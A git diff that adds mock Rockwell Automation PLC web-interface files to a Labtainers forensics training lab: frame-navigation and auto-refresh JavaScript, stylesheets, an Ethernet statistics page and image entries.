a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats.html new file mode 100644 index 000000000..90aed96c4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats.html @@ -0,0 +1,17 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats.html new file mode 100644 index 000000000..fd9ecf2b6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats.html @@ -0,0 +1,152 @@ + + +Rockwell Automation + + + + + + + +
+ + + + + + + + + + + + +
Diagnostic OverviewNetwork SettingsMessage ConnectionsEthernet Statistics
+ + + + + + + +

+ + + + + + +
+ + + + + + + + + + + + +
Ethernet Link
Speed100 Mbps
DuplexHalf Duplex
Autonegotiate StatusAutonegotiate Speed and Duplex

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Interface Counters
In Octets213019
In Ucast Packets1288
In NUcast Packets80
In Discards0
In Errors0
In Unknown Protos0
Out Octets410039
Out Ucast Packets1352
Out NUcast Packets25
Out Discards0
Out Errors0
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Media Counters
Alignment Errors0
FCS Errors0
Single Collisions0
Multiple Collisions0
SQE Test Errors0
Deferred Transmissions0
Late Collisions0
Excessive Collisions0
MAC Transmit Errors0
Carrier Sense Errors0
Frame Too Long0
MAC Receive Errors0
+

+

Seconds Between + Refresh:   Disable Refresh with 0. +


diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/mensepoffoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/mensepoffoff.gif new file mode 100644 index 000000000..dee299b7b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/mensepoffoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/mensepoffon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/mensepoffon.gif new file mode 100644 index 000000000..0853fe34b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/mensepoffon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/menubgoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/menubgoff.gif new file mode 100644 index 000000000..793d82e8a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/menubgoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/menuendon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/menuendon.gif new file mode 100644 index 000000000..6fae98a1a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/menuendon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/menustartoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/menustartoff.gif new file mode 100644 index 000000000..b55bbc1fd Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/menustartoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/refresh.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/refresh.js new file mode 100644 index 000000000..7c96eeffe --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/etherstats_files/refresh.js @@ -0,0 +1,19 @@ +function jsRefresh() +{ + parent.refreshTime = document.getElementById("refresh").value; + if (parent.refreshTime != 0) + document.location.reload(); +} + +function refreshInit() +{ + if (eval("typeof(parent.refreshTime)") == 'undefined') + parent.refreshTime = document.getElementById('refresh').value; + else + document.getElementById('refresh').value = parent.refreshTime; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') + parent.window.clearTimeout(parent.timeoutPntr); + + parent.timeoutPntr = parent.window.setTimeout("frames.home.jsRefresh();", (parent.refreshTime * 1000)); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/header.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/etherstats_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git 